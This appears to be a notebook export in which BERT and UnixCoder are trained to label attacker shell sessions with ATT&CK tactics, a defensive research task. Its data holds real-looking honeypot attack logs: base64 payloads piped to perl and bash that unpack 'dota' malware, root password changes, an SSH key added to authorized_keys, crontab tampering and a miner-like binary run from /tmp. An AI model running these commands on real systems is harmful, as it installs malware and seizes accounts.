L0IxUDtXKVQ4MlBANCcpTz0mXEAvM1hAKVcxQ188IjxJKCYlTjkiYEQ5Ji1DN1ctRTsiVF44NjFEKiIxUzk2WUQ8Vl1DOlJEWyJCYEA/MiFVO0cxSTsiYEQ8VjVOOSctTzhWTFsiQEhAKCIxJDBULVtfKSctRTtGMVM7Vi1LPzdNVDo3IU8/MmBdKCI9Uzk2WUQpU0wqKCJgRDEkLSM+UjFTOTZZRDxWXUM6V1VbO0ZFQzpXVEAvMmBEO0ZFQzpTTCooImBEXzEkLSM+UjFTOTZZRDxWXUM6V1VbOEdFVDk3LV0oI1RAKSctST5GNT89Jl1UODZQWyJCYEApJDEjMFdMRDxWNU45Jy1POFZNXT5WJVI8NzVJPUZdXV8oI1RAKSYlUjw3NUk9RlxbIkBIKigiYEYuQ0lDPSYtUCoiKEQ7RkVDOlIoTCgiKSQwVCxANFQ1LjEiYEQ5Ji1DODcpSygiMUw7VllHOjdgQCknIU9fPEcxQSgiMVM6N0lFN1cxTz0mJUwoQkRbIkBJXSJASVM9NihAMVQ1NCgnTCooIiFNPjJgSCkmJVI8NzVJPUZcTCgiMUQ4Vi1MO1ZZRzo3YEwoIjFEXzhWLVA7VylUODJQQCkmKVk9JjVTKyJgRDtGRUM6UkRALzIhYDdTTCooIiFSOTcxVTxGWEgsIkRAOjY4QCoiVUUoIihEODcpUT02RVY7UihJLlBIQF8oJkVGKCJBTzwmNU4qJDkpMyQ0TCgiKF4oIjFBPEclVTo3OU8oQkRJKCdMKigiYEAoIiFDOyZdUzkyISYyNFElLlBIQCgnVEA5NlFTOTIhWyJCYEBfKCIhUjk3MVU8RlhILCJEWyJCYEA/MEgqKCIhTT4yYEQ5Ji1DOjdgXTlGRVg4NjFEPEJARDkmLUM7Jl1OOVZFUCozTCooIiFSOTcxVTxGWEgsIkRAXzo2OEAqIjFEOFYtUDtXKVQ4MmBcKCMkUCxDMEA7VyhAO0ZdVCgmMUU5RkVOOTYwQCkmMUM4VkVQKCZdUigiMUI+NzFFPFJgXCgjJEkuUEhAKCZVWV8oIjFEOFYtUztWLUsoI1RAMjRcWi5FLU84Vk1FPSNIWjI0WSU1IlReO0Y1VyolIVI7VzFPLzNYQj0mLVAoQlBANCY1RTxEJUQ5JyhdL0IxRDhWLUlfPCJQQDQmNUU8RSFPPEcwXS9CMUQ4Vi1QO1cpVDgyUEA1JkVNOTZdVT0jVF4sMzRJKCZdUignKUU9JzVSO0JgSCwiRFsiQmBAKSYxQzhXLU84VkxNXy9GJVU9Jl1GOyc1UzoiQFEqM0wqKCJgRDkmLUM3Vy1FOyJUXjg2MUQqIjFEOFYtUztWLUsqM0wqKCJgRDEkLSM+UjFEOFYtUztWLUs/N01UOjchT18/MmBdKCI9Rzk3MEcuUEhAKCIxJDBULVspJjFDOFctTzhWTV0+VkVUOjZVRT8yYF0oJzFJOzY0WyJCYEApJDEjMFdMRDkmLUM8Vl1DOldVWztGRUNfOldUQC8yYEQ7RkVDOlNMKigiYEQxJC0jPlIxRDhWLVM7Vi1LPzdNQj43MUU8V1RALzJgRDhHRVQ5NyxbIkJgQCkkMSMwV0xEOSYtQzxWXUM6V1VbXzhXNVI4R0VUOTdUQC8yYFAuUEhAKCIxJDBULVspJjFDOFctTzhWTV0+ViVSPDc1ST1GXV0oI1RAKSYlUjw3NUk9RlxbIkJgQCkkMSMwV0xEOSYtQ188Vl1DOldVWzo3IV0oI1RAKSYxQzhWRVAuUEhAKCIxJDBULVspJjFDOFctTzhWTV0+VyFPPEcxQT8yYF0oIjFEOFYtUDtXKVQ4M0wqKCJgRDEkLSNfPlIxRDhWLVM7Vi1LPzdNUz0mJVQ9Ny1dKCNUQChFKUU4VjVCOTZZRDtSKFsiR1QqIkctVThCITM9JiVUPTcsQD5QSEAoJlVZKCIxUztWLUs5NzBAXy8yIVM6JkVGPSNMKigiIU0+MmBEPFZdQzpVXVQ6NyFPKCNUQCkkMSMwV0xEPFZdQzpWNVQ/N01UOjchTz8zTCooIiFVO0ZRRTxXLEAqJlFDKiIxU187Vi1LN1cxSTwmXEkoJjVRKCIpQzomJVQoQkRAPlBIQCgiYEA7N0RAKSZZSThWTEAvMmBEMSQtIz5SMVM7Vi1LOTcxXT5WWUk4Vk1dLlBIQCgiYEBfOzdEQCkmJVI8NzVJPUZcQC8yYEQxJC0jPlIxUztWLUs5NzFdPlYlUjw3NUk9Rl1dLlBIQCgiYEA7N0RAKSZFVDo2VUUoI1RAKSQxIzBXTEQ8Vl1DXzpWNVQ/N01JPSZFTTk3VFsiQmBAKCIhTT4yYEQ5RzFJOzY0QC8yIVQ6NlVFLlBIQCgiYEA7N0RAKSctVDg3MVU8UmBdKCIxJDBULVspJy1POFZNRV89J1VbPFcxQT0nNVM/M0wqKCJgQCgiMUY9JkVNOTJgXSgiMSQwVC1bKSctTzhWTUU9J1VbOUcxSTs2NV0oJkVGKCYxRTlGRU45NjBIKSQxIzBXTERfPFZdQzpWNVQ/N01GPSZFTTk3VEkuUEgqKCJgQCgmVVkoIjFEN1cxSTs2NEAvMmBEOUcxSTs2NE0pJkVUOjZVRS5QSCooImBAKCZVWSgiMUM9Nyk/XzhHRVQ5MmBdKCIxJDBULVspJy1POFZNRT0nVVs4VzVSOEdFVDk3VFsiQmBAKCIhTT4yYEQ4R0VUOTctPz0mXVQ4NlBALzJgQCkkMSMwV0xEPFZdQ186VjVUPzdNQj43MUU8V1RbIkBIQCgiYEA7N0RAKScpQT0mNEAvMmBQLlBIQCgiYEApJylBPSY0QC8yYEgpJi1VPEVdQj43MUUrUyRQLEMwSStSMURfN1cxSTs2NEA6NjhAKSYtVTxFXUI+NzFFKCNYQCwjTCooImBAKCZVWSgiMVA7VylDOTZYQC8yYEgpJi1VPEVdQj43MUUqQyRQLCJETykmKVk9JjVTXzdXMU89JiVMLlBIKigiYEAoJlVZKCJARDxFXUQ9NzhMKCIxUDdWMVU9QkRbIkJgQCgiIUk5QmBIKScpQT0mNEAvN1hAK1VYSDcmMEsqNVBOKiVRRF8qMkE8OSJESDcmMEkrUkRAPlBIQCgiYEAoImBAKScpPzknNVYoI1RAKSMsWygiMVI3VjFVPUJMSygmRUYoIjBUKCNYXSgjNFsiQmBAKCJgQCgiYERfPEYlVDkyYF0oIihELDVQTikjKEIrQihEPEVdRD03OEIuUEhAKCJgQD8wSEAoImBAOjY4QCoiMVA7VylDOTZYQC83WEArVVhINyYwSyo1UE4qJVFEXyoyQTw5IkRINyYwSStSREA+UEhAKCJgQCgiYEApJyE/OSc1VigjVEApIyxbKCIxUDdWMVU9QkxLKCZFRigiMFQoI1hdKCM0WyJCYEAoImBAKCJgRF88Jl1SOFY1TigjVEAoQjBRNyJYRCxCKE4oQjFQN1YxVT1CKFsiQmBAKCIhXSJCYEAoIiFSOTcxVTxGWEgoQjFTO1YtSzdXMUk8JlxCKyIoRDxXMUFfPSc1UyhCUEIpJllJOFZMQisiKEQ4NylRPTZFVjtSKEwoQjFCPjcxRTxVXVQ7VzFBOyIoTCgiKEQ4VzVSN1YpWT0mNEIrIihEOSVdVDo2VUUoQlBAXyhCMVI4NzFFKEJQQChCMVA7VylDOTZYQiozTCooIiFdIkBIKigiIVI5NzFVPEZYSCwiRFsiR1QqIkBJUz02KEA5RkVYODYxRDxCIVsiQmBAKCIhTV8+MmBIKSYlRDknKUU8VyxJKCNUQDAlXFsiQEhAKCJgQDhWQU87N2BAKSYlRDknKUU8VyxbKCJgQCgiYCooImBAKCZFRigiQEQ4NjFEPEY1UzxSYF1fP0JgTzdFUUQqUjBPKjIhWyJCYEAoImBAKCJgQDxGNVQ9NylOKCZFTjk3MT87RzFPODJBUDg2LUsoIikuKEJQQCkmJUQ5JylFPFcsSS5QSEAoImBAXz8yIUU7Jy1JOUJgSCkmJUQ5JylFPFcsQC83WEArVVk7LDMpPS9VUUQ+UyRMLEdVPCtFTFEsRVRfNyYxWywyUFI/NVBONlMkUjczXTw5J0xRKyMpXV83Ilk7LDMpPS9VUUQ+UyRMLEdURCtSREA+UEhAKCJgQCgiYEAoJylFPSc1UjtCYEQ4NjFEPEY1UzxTTCooImBAKCdUQDk2UVM6NjhAKiIxQTkmMVJfOTctUygjVV4oJzFSK1YkTT5EJE02QlxPKjIhWygiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYCooImBAKCJgQCgiIVI5NzFVPEZYQDo2WUU9JV1OXz0mXUEqIkBIOVY1VDomXVM9JilZO0YlTTkyQEQ4NjFEPEY1UzxSREk2UzE9KjVMUDcyRFsiQmBAKCIhXSgmNUw8VjRAPlBIQCgiYEAoImBAKCcpRS09JzVSO0NMKigiYEAoJ1QqPzB9Cg== | base64 --decode | perl ; rm -rf /var/tmp/dota* ; sleep 15s && cd /var/tmp ; echo IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKbWtkaXIgLlgxMy11bml4CmNkIC5YMTMtdW5peAptdiAvdmFyL3RtcC9kb3RhLnRhci5neiBkb3RhLnRhci5negp0YXIgeGYgZG90YS50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgLnJzeW5jOyBjYXQgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2luaXRhbGwgfCBiYXNoIDI+MSYKZXhpdCAw | base64 --decode | bash ; cat /proc/cpuinfo | grep name | wc -l ; echo root:dIfGAHCRGun7 | chpasswd | bash ; echo 321 > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ;
# TRUNCATE THE WORDS
def truncate_long_words(sample, max_word_length=30):
words = sample["session"].split(" ")
truncated = [w[:max_word_length] if len(w) > max_word_length else w for w in words]
sample["session"] = " ".join(truncated)
return sample
preprocessed_dataset = full_ds.map(truncate_long_words)
encoded_dataset = preprocessed_dataset.map(convert_labels_to_ids)
print(encoded_dataset)
DatasetDict({
train: Dataset({
features: ['session', 'label', 'label_id'],
num_rows: 200
})
valid: Dataset({
features: ['session', 'label', 'label_id'],
num_rows: 51
})
test: Dataset({
features: ['session', 'label', 'label_id'],
num_rows: 108
})
})
berta_tokenized_datasets = encoded_dataset.map(
tokenize_and_align_labels_berta,
batched=True, # Can be performed in batches, in order to speed up times!
remove_columns=original_columns, # To remove the original columns
)
unix_tokenized_datasets = encoded_dataset.map(
tokenize_and_align_labels_unix,
batched=True, # Can be performed in batches, in order to speed up times!
remove_columns=original_columns, # To remove the original columns
)
print(berta_tokenized_datasets)
print(unix_tokenized_datasets)
DatasetDict({
train: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 200
})
valid: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 51
})
test: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 108
})
})
DatasetDict({
train: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 200
})
valid: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 51
})
test: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 108
})
})
berta_tokenized_datasets = encoded_dataset.map(
tokenize_and_align_labels_berta,
batched=True, # Can be performed in batches, in order to speed up times!
remove_columns=original_columns, # To remove the original columns
)
unix_tokenized_datasets = encoded_dataset.map(
tokenize_and_align_labels_unix,
batched=True, # Can be performed in batches, in order to speed up times!
remove_columns=original_columns, # To remove the original columns
)
print(berta_tokenized_datasets)
print(unix_tokenized_datasets)
DatasetDict({
train: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 200
})
valid: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 51
})
test: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 108
})
})
DatasetDict({
train: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 200
})
valid: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 51
})
test: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 108
})
})
#EXAMPLES
EXAMPLE_ID = 190
print("\nEXAMPLE WITH BERTA TOKENIZED DATASET: \n")
print(f"EXAMPLE) Given the session: '{encoded_dataset['train'][EXAMPLE_ID]['session']}'")
example = berta_tokenized_datasets["train"][EXAMPLE_ID]
print(f'Tokens ({len(example["input_ids"])} elements): {[bert_tokenizer.convert_ids_to_tokens(input_id) for input_id in example["input_ids"]]}')
print(f'Tags ({len(example["labels"])} elements): {example["labels"]}')
print("\nEXAMPLE WITH UNIX TOKENIZED DATASET: \n")
print(f"EXAMPLE) Given the session: '{encoded_dataset['train'][EXAMPLE_ID]['session']}'")
example = unix_tokenized_datasets["train"][EXAMPLE_ID]
print(f'Tokens ({len(example["input_ids"])} elements): {[unix_tokenizer.convert_ids_to_tokens(input_id) for input_id in example["input_ids"]]}')
print(f'Tags ({len(example["labels"])} elements): {example["labels"]}')
analyze_token_lengths_bert(encoded_dataset["train"])
analyze_token_lengths_unix(encoded_dataset["train"])
EXAMPLE WITH BERTA TOKENIZED DATASET:
EXAMPLE) Given the session: 'cat /proc/cpuinfo | grep name | wc -l ; echo root:NPb3W95GP6wz | chpasswd | bash ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ;'
Tokens (166 elements): ['[CLS]', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'name', '|', 'wc', '-', 'l', ';', 'echo', 'root', ':', 'np', '##b', '##3', '##w', '##9', '##5', '##gp', '##6', '##w', '##z', '|', 'ch', '##pass', '##wd', '|', 'bash', ';', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'name', '|', 'head', '-', 'n', '1', '|', 'aw', '##k', '{', 'print', '$', '4', ',', '$', '5', ',', '$', '6', ',', '$', '7', ',', '$', '8', ',', '$', '9', ';', '}', ';', 'free', '-', 'm', '|', 'gr', '##ep', 'me', '##m', '|', 'aw', '##k', '{', 'print', '$', '2', ',', '$', '3', ',', '$', '4', ',', '$', '5', ',', '$', '6', ',', '$', '7', '}', ';', 'l', '##s', '-', 'l', '##h', '$', 'which', 'l', '##s', ';', 'which', 'l', '##s', ';', 'cr', '##ont', '##ab', '-', 'l', ';', 'w', ';', 'una', '##me', '-', 'm', ';', 'cat', '/', 'pro', '##c', '/', 'cpu', '##in', '##fo', '|', 'gr', '##ep', 'model', '|', 'gr', '##ep', 'name', '|', 'wc', '-', 'l', ';', 'top', ';', 'una', '##me', ';', '[SEP]']
Tags (166 elements): [-100, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -100]
EXAMPLE WITH UNIX TOKENIZED DATASET:
EXAMPLE) Given the session: 'cat /proc/cpuinfo | grep name | wc -l ; echo root:NPb3W95GP6wz | chpasswd | bash ; cat /proc/cpuinfo | grep name | head -n 1 | awk {print $4,$5,$6,$7,$8,$9;} ; free -m | grep Mem | awk {print $2 ,$3, $4, $5, $6, $7} ; ls -lh $which ls ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ;'
Tokens (138 elements): ['<s>', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġwc', 'Ġ-', 'l', 'Ġ;', 'Ġecho', 'Ġroot', ':', 'NP', 'b', '3', 'W', '95', 'GP', '6', 'wz', 'Ġ|', 'Ġch', 'passwd', 'Ġ|', 'Ġbash', 'Ġ;', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġhead', 'Ġ-', 'n', 'Ġ1', 'Ġ|', 'Ġa', 'wk', 'Ġ{', 'print', 'Ġ$', '4', ',$', '5', ',$', '6', ',$', '7', ',$', '8', ',$', '9', ';}', 'Ġ;', 'Ġfree', 'Ġ-', 'm', 'Ġ|', 'Ġgrep', 'ĠMem', 'Ġ|', 'Ġa', 'wk', 'Ġ{', 'print', 'Ġ$', '2', 'Ġ,', '$', '3', ',', 'Ġ$', '4', ',', 'Ġ$', '5', ',', 'Ġ$', '6', ',', 'Ġ$', '7', '}', 'Ġ;', 'Ġls', 'Ġ-', 'lh', 'Ġ$', 'which', 'Ġls', 'Ġ;', 'Ġwhich', 'Ġls', 'Ġ;', 'Ġc', 'ront', 'ab', 'Ġ-', 'l', 'Ġ;', 'Ġw', 'Ġ;', 'Ġun', 'ame', 'Ġ-', 'm', 'Ġ;', 'Ġcat', 'Ġ/', 'proc', '/', 'cpuinfo', 'Ġ|', 'Ġgrep', 'Ġmodel', 'Ġ|', 'Ġgrep', 'Ġname', 'Ġ|', 'Ġwc', 'Ġ-', 'l', 'Ġ;', 'Ġtop', 'Ġ;', 'Ġun', 'ame', 'Ġ;', '</s>']
Tags (138 elements): [-100, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, -100]
--- Tokenizer Stats Bert ---
Average token length: 134.15
Max token length: 920
Sessions that would be truncated: 5 out of 200
Max token count: 920
Original bash word count: 224
Session: LC_ALL=C cat /etc/rc.local /etc/rc.d/rc.local ; LC_ALL=C crontab -l ; scp -t ~/j56zjai820f3zez0f853r439p2 ; LC_ALL=C ~/j56zjai820f3zez0f853r439p2 ; LC_ALL=C rm -f ~/j56zjai820f3zez0f853r439p2 ; LC_ALL=C chattr -i -a ~/.dhpcd ; LC_ALL=C rm -f ~/.dhpcd ; LC_ALL=C rmdir ~/.dhpcd ; scp -t ~/.dhpcd ; LC_ALL=C ~/.dhpcd ; LC_ALL=C echo ~ ; LC_ALL=C chattr -i -a /etc/shadow ; LC_ALL=C passwd ; LC_ALL=C passwd ; LC_ALL=C passwd test ; LC_ALL=C passwd test ; LC_ALL=C passwd oracle ; LC_ALL=C passwd oracle ; LC_ALL=C passwd test1 ; LC_ALL=C passwd test1 ; LC_ALL=C chattr +a /etc/shadow ; LC_ALL=C mkdir -p ~/.ssh ; LC_ALL=C chmod 700 ~/.ssh ; LC_ALL=C grep ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ >> ~/.ssh/authorized_keys ; LC_ALL=C grep ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ >> ~/.ssh/authorized_keys ; LC_ALL=C netstat -plnt ; LC_ALL=C ss -tln ; scp -t /dev/shm/j56zjai820f3zez0f853r ; LC_ALL=C /dev/shm/j56zjai820f3zez0f853r ; LC_ALL=C rm -f /dev/shm/j56zjai820f3zez0f853r ; scp -t /tmp/j56zjai820f3zez0f853r439p ; LC_ALL=C /tmp/j56zjai820f3zez0f853r439p ; LC_ALL=C rm -f /tmp/j56zjai820f3zez0f853r439p ; scp -t /tmp/knrm ; scp -t /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C rm -f /home/admin/.dhpcd ; scp -t /home/admin/.dhpcd ; LC_ALL=C /home/admin/.dhpcd -o 127.0.0.1:4444 -B > > /dev/null /dev/null ; LC_ALL=C top -bn1 ; LC_ALL=C crontab -l ; LC_ALL=C chattr -i /var/spool/cron/crontabs/root ; LC_ALL=C crontab - ; LC_ALL=C crontab -l ; LC_ALL=C rm -f /tmp/r /tmp/knrm ;
--- Tokenizer Stats Unix ---
Average token length: 115.39
Max token length: 824
Sessions that would be truncated: 5 out of 200
Index of the longest session: 174
Max token count: 824
Original bash word count: 224
Session: LC_ALL=C cat /etc/rc.local /etc/rc.d/rc.local ; LC_ALL=C crontab -l ; scp -t ~/rhrgl2vfatdfx7rbjjcfa9u5t8 ; LC_ALL=C ~/rhrgl2vfatdfx7rbjjcfa9u5t8 ; LC_ALL=C rm -f ~/rhrgl2vfatdfx7rbjjcfa9u5t8 ; LC_ALL=C chattr -i -a ~/.dhpcd ; LC_ALL=C rm -f ~/.dhpcd ; LC_ALL=C rmdir ~/.dhpcd ; scp -t ~/.dhpcd ; LC_ALL=C ~/.dhpcd ; LC_ALL=C echo ~ ; LC_ALL=C chattr -i -a /etc/shadow ; LC_ALL=C passwd ; LC_ALL=C passwd ; LC_ALL=C passwd test ; LC_ALL=C passwd test ; LC_ALL=C passwd oracle ; LC_ALL=C passwd oracle ; LC_ALL=C passwd test1 ; LC_ALL=C passwd test1 ; LC_ALL=C chattr +a /etc/shadow ; LC_ALL=C mkdir -p ~/.ssh ; LC_ALL=C chmod 700 ~/.ssh ; LC_ALL=C grep ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ >> ~/.ssh/authorized_keys ; LC_ALL=C grep ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ >> ~/.ssh/authorized_keys ; LC_ALL=C netstat -plnt ; LC_ALL=C ss -tln ; scp -t /dev/shm/rhrgl2vfatdfx7rbjjcfa ; LC_ALL=C /dev/shm/rhrgl2vfatdfx7rbjjcfa ; LC_ALL=C rm -f /dev/shm/rhrgl2vfatdfx7rbjjcfa ; scp -t /tmp/rhrgl2vfatdfx7rbjjcfa9u5t ; LC_ALL=C /tmp/rhrgl2vfatdfx7rbjjcfa9u5t ; LC_ALL=C rm -f /tmp/rhrgl2vfatdfx7rbjjcfa9u5t ; scp -t /tmp/knrm ; scp -t /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C rm -f /home/admin/.dhpcd ; scp -t /home/admin/.dhpcd ; LC_ALL=C /home/admin/.dhpcd -o 127.0.0.1:4444 -B > > /dev/null /dev/null ; LC_ALL=C top -bn1 ; LC_ALL=C crontab -l ; LC_ALL=C chattr -i /var/spool/cron/crontabs/root ; LC_ALL=C crontab - ; LC_ALL=C crontab -l ; LC_ALL=C rm -f /tmp/r /tmp/knrm ;
# Function to compute word vs token stats
def compute_word_token_stats(dataset, tokenizer, tokenizer_name):
word_counts = []
token_counts = []
for session in dataset["session"]:
words = session.split(" ")
tokens = tokenizer([words], is_split_into_words=True, truncation=False)["input_ids"][0]
word_counts.append(len(words))
token_counts.append(len(tokens))
return word_counts, token_counts, tokenizer_name
# Run for both tokenizers using the TRUNCATED sessions
bert_words, bert_tokens, bert_label = compute_word_token_stats(preprocessed_dataset["train"], bert_tokenizer, "BERT")
unix_words, unix_tokens, unix_label = compute_word_token_stats(preprocessed_dataset["train"], unix_tokenizer, "UnixCoder")
# Plotting
plt.figure(figsize=(10, 6))
plt.scatter(bert_tokens, bert_words, label=bert_label, alpha=0.6, marker='o')
plt.scatter(unix_tokens, unix_words, label=unix_label, alpha=0.6, marker='x')
plt.plot( [0, max(bert_tokens + unix_tokens)],[0, max(bert_words + unix_words)], 'r--', alpha=0.4)
plt.ylabel("Number of Words in Session")
plt.xlabel("Number of Tokens")
plt.title("Words vs Tokens per Session")
plt.legend()
plt.grid(True)
plt.tight_layout()
plt.show()
Token indices sequence length is longer than the specified maximum sequence length for this model (905 > 512). Running this sequence through the model will result in indexing errors
# Compute token-to-word ratios
bert_ratio = np.mean(np.array(bert_tokens) / np.array(bert_words))
unix_ratio = np.mean(np.array(unix_tokens) / np.array(unix_words))
print(f"\nAverage Token-to-Word Ratio:")
print(f"BERT: {bert_ratio:.2f}")
print(f"UnixCoder: {unix_ratio:.2f}")
if bert_ratio < unix_ratio:
print("BERT has a better (lower) token-to-word ratio.")
else:
print("UnixCoder has a better (lower) token-to-word ratio.")
Average Token-to-Word Ratio: BERT: 3.17 UnixCoder: 2.73 UnixCoder has a better (lower) token-to-word ratio.
bert_tokenized_datasets = encoded_dataset.map(
tokenize_and_align_labels_berta,
batched=True, # Can be performed in batches, in order to speed up times!
remove_columns=original_columns, # To remove the original columns
)
unix_tokenized_datasets = encoded_dataset.map(
tokenize_and_align_labels_unix,
batched=True, # Can be performed in batches, in order to speed up times!
remove_columns=original_columns, # To remove the original columns
)
print(bert_tokenized_datasets)
print(unix_tokenized_datasets)
DatasetDict({
train: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 200
})
valid: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 51
})
test: Dataset({
features: ['input_ids', 'token_type_ids', 'attention_mask', 'labels'],
num_rows: 108
})
})
DatasetDict({
train: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 200
})
valid: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 51
})
test: Dataset({
features: ['input_ids', 'attention_mask', 'labels'],
num_rows: 108
})
})
# ***** PREPARING THE DATALOADERS *****
bert_data_collator = DataCollatorForTokenClassification(tokenizer=bert_tokenizer)
unix_data_collator = DataCollatorForTokenClassification(tokenizer=unix_tokenizer)
# BERT data loaders
bert_train_dataloader = DataLoader(
bert_tokenized_datasets["train"],
shuffle=True,
collate_fn=bert_data_collator,
batch_size=16,
)
bert_eval_dataloader = DataLoader(
bert_tokenized_datasets["valid"], collate_fn=bert_data_collator, batch_size=16
)
bert_test_dataloader = DataLoader(
bert_tokenized_datasets["test"], collate_fn=bert_data_collator, batch_size=16
)
# UNIX data loaders
unix_train_dataloader = DataLoader(
unix_tokenized_datasets["train"],
shuffle=True,
collate_fn=unix_data_collator,
batch_size=16,
)
unix_eval_dataloader = DataLoader(
unix_tokenized_datasets["valid"], collate_fn=unix_data_collator, batch_size=16
)
unix_test_dataloader = DataLoader(
unix_tokenized_datasets["test"], collate_fn=unix_data_collator, batch_size=16
)
bert_model = AutoModelForTokenClassification.from_pretrained(
pretrained_model_name_or_path=model1,
id2label=id2label,
label2id=label2id,
)
unix_model = AutoModelForTokenClassification.from_pretrained(
pretrained_model_name_or_path=model2,
id2label=id2label,
label2id=label2id,
)
loading configuration file config.json from cache at /root/.cache/huggingface/hub/models--google-bert--bert-base-uncased/snapshots/86b5e0934494bd15c9632b12f734a8a67f723594/config.json
Model config BertConfig {
"architectures": [
"BertForMaskedLM"
],
"attention_probs_dropout_prob": 0.1,
"classifier_dropout": null,
"gradient_checkpointing": false,
"hidden_act": "gelu",
"hidden_dropout_prob": 0.1,
"hidden_size": 768,
"id2label": {
"0": "Execution",
"1": "Discovery",
"2": "Persistence",
"3": "Defense Evasion",
"4": "Not Malicious Yet",
"5": "Other",
"6": "Impact"
},
"initializer_range": 0.02,
"intermediate_size": 3072,
"label2id": {
"Defense Evasion": 3,
"Discovery": 1,
"Execution": 0,
"Impact": 6,
"Not Malicious Yet": 4,
"Other": 5,
"Persistence": 2
},
"layer_norm_eps": 1e-12,
"max_position_embeddings": 512,
"model_type": "bert",
"num_attention_heads": 12,
"num_hidden_layers": 12,
"pad_token_id": 0,
"position_embedding_type": "absolute",
"transformers_version": "4.55.2",
"type_vocab_size": 2,
"use_cache": true,
"vocab_size": 30522
}
